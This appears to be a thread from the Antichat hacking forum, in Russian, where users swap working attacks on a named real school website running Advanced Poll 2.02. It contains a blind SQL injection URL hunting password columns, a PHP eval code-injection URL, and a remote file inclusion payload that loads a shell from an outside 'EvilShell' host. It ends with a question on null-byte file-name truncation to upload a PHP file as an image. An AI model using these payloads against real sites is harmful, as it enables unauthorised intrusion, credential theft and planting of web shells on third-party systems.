ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Что так,что эдак - ничего не достать)

Все прекрасно достается

http://www.astangukool.edu.ee/rus/poll/db/comments.php?action=send&id=2+and+if(ascii(substri ng((select+table_name+from+information_schema.colu mns+where+column_name+like+0x257061737325+limit+0, 1),1,1))>5,1,(select+1+union+select+2))

Читай статью https://forum.antichat.ru/thread35207.html

да да Advanced Poll 2.02
например http://milw0rm.com/exploits/3282

Ммм...без ифа никак не обойтись ? Длинная статья...в SIPT-е я так понял так не получится)Тогда чем перебирать ?

Грей писал скрипт для работы со слепыми инжектами

http://www.astangukool.edu.ee/rus/poll/db/comments.php?id={${eval(phpinfo())}}

__________________
<? Raz0r.name — блог о web-безопасности

Если which нету, значит результат будет пустой, поэтому он не покажет есть ли качалки или их нет...

http://securityvulns.com/Odocument594.html
http://[target]/poll/comments.php?id={${include($ddd)}}{${exit()}}&ddd= Http://EvilShell
(с) alguidy[at]hotmail[.]com

1. Объясните мне, все таки возможно отрубить конец названии файла нулл байтом при:
Content-Type: multipart/form-data

Если да то как это сделать? Правильно ли я это делаю
(этим -> %00 -> не получится отрубить естественно конец при multipart/form-data):
...
filename="thistest.php\x00.jpg"
...

второй вариант который пробывал:
...
filename="thistest.php\0.jpg"
...

2. Если выше перечисл. примеров отрубания конца нулл байтом работают при:
Content-Type: multipart/form-data

То как быть если часть названия файла до бек слеша ("\")
отрубается и считается директорией? Можно ли это обойти и все таки отрубить конец при:
Content-Type: multipart/form-data

Заранее спасибо за ответы